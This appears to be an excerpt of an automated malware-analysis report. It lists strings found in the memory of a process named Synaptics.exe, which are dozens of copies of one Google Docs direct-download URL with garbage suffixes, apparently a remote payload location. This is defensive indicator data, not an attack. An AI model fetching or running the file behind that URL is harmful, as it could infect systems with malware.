Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcom
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcr
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcr2
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcurit
Source: Synaptics.exe, 00000003.00000002.2942880191.0000000005349000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd:
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddaX
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadds
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade&
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.cn
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadee
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadej/
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademal
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademy
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetlm
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadep
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaderj
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloades
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesb
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadexg
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf9
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfje7G
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfje7GL
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg0
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg8
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg:
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg?
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgG
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgi
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgine
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgix
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.cI$
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.h=$
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgleco
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgn
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D8E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoogl
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh)
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh~
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000007068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi_
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadid.c
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadid.cw(
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadik
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadilv
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion.
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion=
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaditp
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadity
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy%l9
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D6A5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D70D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk1
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk8
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk9
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk:
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkD
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkZ
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D681000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2984736687.000000001C849000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl;
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlG
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleV
Source: Synaptics.exe, 00000003.00000002.2942880191.00000000052D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleco
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlecomA
Source: Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlecop9
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2956790720.000000000D93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlemeA
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyg
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli
Source: Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2945377269.00000000070EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll$
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2986157896.000000001C920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlu
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlunam
Source: Synaptics.exe, 00000003.00000002.2959140853.000000000DA3F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.00000000052A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2952017599.000000000D866000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2942880191.0000000005371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000003.00000002.2982762921.000000001C72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.$
Source: Synaptics.exe, 00000003.00000002.2952017599.000000000D7EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.=hg
Source: Synaptics.exe, 00000003.00000002.2945377269.0000000006FFC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2958375463.000000000D99C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2985429071.000000001C8C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.tr
Source: Synaptics.exe, 00000003.00000002.2984736687.000000001C853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmY
Source: Synaptics.exe, 00000003.00000002.2987579817.000000001CA6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmad
